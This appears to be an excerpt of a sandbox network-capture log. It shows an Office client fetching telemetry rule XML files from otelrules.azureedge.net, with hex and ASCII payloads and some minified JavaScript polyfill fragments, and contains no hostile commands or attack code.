2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e Data Ascii: =function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 Data Ascii: e.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)re
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 Data Ascii: 9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:19 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170819Z-16547b76f7f7jnp2hC1DFWfc300000000hb0000000010m8c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 1b2c96e9-801e-00ac-3bad-34fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170819Z-1749fc9bdbd2jxtthC1DFWfk5w00000001b00000000024xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170819Z-16547b76f7f76p6chC1DFWctqw0000000hkg0000000095d9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 17:08:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 03686f8b-301e-0099-32a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170819Z-r178fb8d765d5f82hC1DFWsrm800000001gg0000000020db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:19 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170819Z-16547b76f7ftdm8dhC1DFWs13g0000000h9000000000xzae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 17:08:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:20 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170820Z-16547b76f7fj897nhC1DFWdwq40000000hbg000000003kez x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:20 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 06750a7e-601e-000d-6c6f-352618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170820Z-1749fc9bdbdpg69chC1DFWhecg000000014g00000000hr68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:20 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170820Z-16547b76f7f9rdn9hC1DFWfk7s0000000hfg000000004d59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:20 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170820Z-16547b76f7fq9mcrhC1DFWq15w0000000hg0000000001712 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:20 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 53e82ad4-c01e-0046-11a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170820Z-1749fc9bdbdb8fs8hC1DFW2b8g00000001b000000000nx1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" 